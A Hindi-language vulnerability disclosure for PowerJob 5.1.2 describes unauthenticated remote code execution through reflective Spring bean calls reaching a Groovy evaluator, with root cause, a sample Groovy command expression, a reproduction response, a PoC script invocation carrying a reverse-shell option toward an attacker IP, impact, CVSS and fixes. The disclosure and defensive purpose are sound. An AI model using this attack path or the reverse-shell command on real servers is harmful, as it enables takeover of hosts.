• उत्पाद: PowerJob (वितरित जॉब शेड्यूलिंग / कंप्यूटिंग फ्रेमवर्क)
• प्रभावित संस्करण: 5.1.2 (ट्रांसपोर्ट-लेयर डिज़ाइन पहले के रिलीज़ से विरासत में मिला है; पुराने संस्करण भी समान रूप से प्रभावित हैं — 4.x–5.1.2 रिपोर्ट करें)
• स्रोत रिपॉजिटरी: https://github.com/PowerJob/PowerJob
• डिफ़ॉल्ट डिप्लॉयमेंट: docker-compose.yml:29-33,47-48 होस्ट 0.0.0.0 पर 10010 (HTTP ट्रांसपोर्ट), 10086 (AKKA), 10077 (MU) प्रकाशित करता है

3. भेद्यता स्थान

मुख्य स्रोत फ़ाइलें (रिपॉजिटरी रूट के सापेक्ष):

• powerjob-remote/powerjob-remote-impl-http/src/main/java/tech/powerjob/remote/http/HttpVertxCSInitializer.java (10010 रूट पंजीकृत करता है, कोई प्रमाणीकरण नहीं)
• powerjob-server/powerjob-server-remote/src/main/java/tech/powerjob/server/remote/server/FriendActor.java:40-53
• powerjob-server/powerjob-server-remote/src/main/java/tech/powerjob/server/remote/server/redirector/RemoteRequestProcessor.java:17-37
• powerjob-server/powerjob-server-core/src/main/java/tech/powerjob/server/core/evaluator/GroovyEvaluator.java:17-28

4. मूल कारण

1. ट्रांसपोर्ट लेयर पर शून्य प्रमाणीकरण: PowerJob Worker और Server के बीच संचार प्रोटोकॉल (HTTP/AKKA/MU) को "आंतरिक विश्वास" क्षेत्र के रूप में मानता है। कोई भी होस्ट जो पोर्ट 10010/10086/10077 तक पहुंच सकता है, उसे एक वैध नोड के रूप में माना जाता है; कोई हैंडशेक और कोई हस्ताक्षर नहीं है।
2. मनमाना Bean रिफ्लेक्शन: RemoteRequestProcessor.processRemoteRequest अनुरोध बॉडी के className, methodName, parameterTypes और args फ़ील्ड पर पूरी तरह भरोसा करता है — यह किसी भी Spring Bean को प्राप्त करने के लिए Class.forName + SpringUtils.getBean का उपयोग करता है और फिर Spring ReflectionUtils के माध्यम से उसके किसी भी सार्वजनिक मेथड को कॉल करता है।
3. खतरनाक मेथड तक पहुंच: GroovyEvaluator एक @Component bean है जिसका evaluate(String, Object) Groovy स्क्रिप्ट इंजन (ScriptEngineManager) को कॉल करके हमलावर के एक्सप्रेशन को सीधे eval() करता है।

तीनों का संयोजन बिना प्रमाणीकरण के RCE के बराबर है।

5. हमले का परिदृश्य (पूर्व शर्त: केवल पोर्ट 10010 तक नेटवर्क पहुंच)

1. हमलावर PowerJob सर्वर के पोर्ट 10010 पर एक HTTP POST भेजता है (कोई Cookie/Token आवश्यक नहीं)।
2. अनुरोध बॉडी एक RemoteProcessReq JSON है जो मनमाने Groovy एक्सप्रेशन (जैसे, 'id'.execute().text) के साथ GroovyEvaluator.evaluate को लक्षित करता है।
3. सर्वर रिफ्लेक्टिव रूप से मेथड को कॉल करता है; Groovy इंजन एक्सप्रेशन का मूल्यांकन करता है।
4. कमांड-निष्पादन परिणाम AskResponse.data (base64 JSON) में हमलावर को वापस भेजा जाता है।
5. हमलावर Groovy का उपयोग मनमानी फ़ाइलें लिखने, रिवर्स शेल शुरू करने या डेटा बाहर निकालने के लिए भी कर सकता है।

6. पुनरुत्पादन (सत्यापित)

पर्यावरण: JDK 17, स्रोत-निर्मित powerjob-server-starter-5.1.2.jar (दैनिक प्रोफ़ाइल), सर्वर 192.168.49.128:10010 पर सुन रहा है। JDK 21 पर पुनः सत्यापित (नीचे शेल-फॉर्म पेलोड दोनों पर काम करता है; नीचे File.write पर नोट देखें)।

वास्तविक प्रतिक्रिया: {"success":true,"data":"InJldmVyc2Utc2hlbGwtbGF1bmNoZWQi"}। data फ़ील्ड का Base64-डिकोडिंग सर्वर JVM पर निष्पादित कमांड आउटपुट देता है:

वैकल्पिक रूप से, आप स्क्रिप्ट का उपयोग करके इसे पुनरुत्पादित कर सकते हैं:

python3 powerjob_friend_process_rce.py 192.168.49.128:10010 --reverse-shell 192.168.3.17:7878

7. देखा गया बनाम अपेक्षित

• देखा गया: एक बिना प्रमाणीकरण वाला HTTP अनुरोध सर्वर को मनमाने कमांड निष्पादित करने का कारण बनता है।
• अपेक्षित: /friend/process Server↔Worker आंतरिक संचार का हिस्सा है; इसे बिना प्रमाणीकरण वाले अनुरोधों को अस्वीकार करना चाहिए, या मेथड को दूरस्थ रूप से कॉल करने योग्य नहीं होना चाहिए।

8. प्रभाव

• गोपनीयता: उच्च — सर्वर पर मनमानी फ़ाइलें/मेमोरी/क्रेडेंशियल्स पढ़ें।
• अखंडता: उच्च — मनमानी फ़ाइल लेखन, कॉन्फ़िगरेशन और जॉब्स के साथ छेड़छाड़।
• उपलब्धता: उच्च — प्रक्रियाओं/सेवाओं को समाप्त कर सकता है।
• प्रभाव सीमा: सर्वर प्रक्रिया → होस्ट (सेवा उपयोगकर्ता के विशेषाधिकारों के साथ); डिफ़ॉल्ट डिप्लॉयमेंट में, हमलावर होस्ट के आंतरिक नेटवर्क में पार्श्व रूप से स्थानांतरित हो सकता है।

9. सुझाया गया समाधान

1. ट्रांसपोर्ट लेयर में पारस्परिक Server/Worker प्रमाणीकरण (टोकन/हस्ताक्षर) जोड़ें और स्रोत को मान्य करें; 10010/10086/10077 को सार्वजनिक इंटरनेट पर उजागर न करें।
2. RemoteRequestProcessor को एक अनुमतिसूची में बदलें: className/methodName को फ्रेमवर्क-परिभाषित सुरक्षित हैंडलर तक सीमित करें और मनमाने beans के रिफ्लेक्टिव कॉल को प्रतिबंधित करें।
3. GroovyEvaluator की दूरस्थ पहुंच को हटाएं या सख्ती से प्रतिबंधित करें (यदि इसे बनाए रखना आवश्यक है, तो प्रमाणीकरण और एक सैंडबॉक्स जोड़ें)।
4. /friend/process (S4S_HANDLER_PROCESS) को डिफ़ॉल्ट रूप से अक्षम करें या इसे केवल आंतरिक स्रोतों तक सीमित करें।

10. CWE

• प्राथमिक: CWE-94 (कोड के निर्माण का अनुचित नियंत्रण — Groovy इंजेक्शन)
• द्वितीयक: CWE-470 (क्लास या कोड चुनने के लिए बाहरी रूप से नियंत्रित इनपुट का उपयोग — मनमाना Bean रिफ्लेक्शन), CWE-306 (महत्वपूर्ण फ़ंक्शन के लिए प्रमाणीकरण की कमी)

11. CVSS

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H = 9.8 क्रिटिकल

12. पर्यावरण

• OS: Ubuntu 22.04 / Linux 6.8
• JDK: 17.0.19 (मूल पुनरुत्पादन); OpenJDK 21.0.11 पर पुनः सत्यापित
• बिल्ड: Maven 3.6.3, mvn -B -DskipTests -pl powerjob-server/powerjob-server-starter -am package
• डेटाबेस: MariaDB 10.6 (आवश्यक नहीं — /friend/process डेटाबेस के बिना ट्रिगर करने योग्य है)
• रन: java -Xmx512m -jar powerjob-server-starter-5.1.2.jar --spring.profiles.active=daily ...